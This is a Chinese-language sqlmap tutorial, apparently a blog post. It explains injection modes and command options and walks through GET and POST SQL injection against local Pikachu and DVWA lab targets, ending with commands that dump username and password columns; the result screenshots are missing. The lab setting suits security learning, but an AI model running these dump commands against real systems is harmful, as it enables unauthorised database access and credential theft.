Sqlmap使用
sqlmap簡介
sqlmap支持五種不同的注入模式:
- 1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
- 2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
- 3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
- 4、聯合查詢注入,可以使用union的情況下的注入。
- 5、堆查詢注入,可以同時執行多條語句的執行時的注入。
sqlmap詳細命令:
- –is-dba 當前用戶權限(是否為root權限)
- –dbs 所有數據庫
- –current-db 網站當前數據庫
- –users 所有數據庫用戶
- –current-user 當前數據庫用戶
- –random-agent 構造隨機user-agent
- –passwords 數據庫密碼
- –proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理
- –time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)
- --level=LEVEL 執行的測試級別(1-5, 默認 1)
- --batch 永遠不要要求用戶輸入,使用默認行為
- -u URL, --url=URL 目標為 URL (例如. "http://www.site.com/vuln.php?id=1")
- -g GOOGLEDORK 將谷歌dork的結果作為目標url
Enumeration(枚舉):
這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的SQL語句。
- -b, –banner 檢索數據庫管理系統的標識
- –current-user 檢索數據庫管理系統當前用戶
- –current-db 檢索數據庫管理系統當前數據庫
- –is-dba 檢測DBMS當前用戶是否DBA
- –users 枚舉數據庫管理系統用戶
- –passwords 枚舉數據庫管理系統用戶密碼哈希
- –privileges 枚舉數據庫管理系統用戶的權限
- –roles 枚舉數據庫管理系統用戶的角色
- –dbs 枚舉數據庫管理系統數據庫
- -D DBname 要進行枚舉的指定數據庫名
- -T TBLname 要進行枚舉的指定數據庫表(如:-T tablename –columns)
- –tables 枚舉的DBMS數據庫中的表
- –columns 枚舉DBMS數據庫表列
- –dump 轉儲數據庫管理系統的數據庫中的表項
- –dump-all 轉儲所有的DBMS數據庫表中的條目
- –search 搜索列(S),表(S)和/或數據庫名稱(S)
- -C COL 要進行枚舉的數據庫列
- -U USER 用來進行枚舉的數據庫用戶
- –exclude-sysdbs 枚舉表時排除系統數據庫
- –start=LIMITSTART 第一個查詢輸出進入檢索
- –stop=LIMITSTOP 最后查詢的輸出進入檢索
- –first=FIRSTCHAR 第一個查詢輸出字的字符檢索
- –last=LASTCHAR 最后查詢的輸出字字符檢索
- –sql-query=QUERY 要執行的SQL語句
- –sql-shell 提示交互式SQL的shell
get型注入
0x00
對url檢測看是否存在注入
sqlmap.py -u "url" --batch
--batch 永遠不要要求用戶輸入,使用默認行為
0x01
確認存在注入,指定數據庫類型暴庫
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch
結果如下:
0x02
枚舉指定數據庫中的表
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch
結果如下:
0x03
枚舉指定表中字段
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch
結果:
0x04
dump出password和username字段的數據
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch
結果如下:
到這就完了,更多參數自己嘗試
post型注入
0x00
首先用burpsuite抓包工具抓取要測試的目標站點包,再把請求包復制到sqlmap目錄下創建一個url.txt文件。
之后使用-r參數開始跑
sqlmap.py -r url.txt
0x01
獲取到數據庫類型和注入類型之后開始暴庫
使用-dbs列出數據庫名
sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
指定數據庫類型為mysql,級別為3(共5級,級別越高,檢測越全面),-dbs列出數據庫名
得到結果如下:
0x02
枚舉指定數據庫中的表
這里演示枚舉dvwa庫中的表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables
結果如下:
0x03
接下來繼續枚舉表中的字段
這里演示users表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns
結果如下:
0x04
dump出password和user字段的數據
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump
選項全部默認,結果如下:
到此就結束了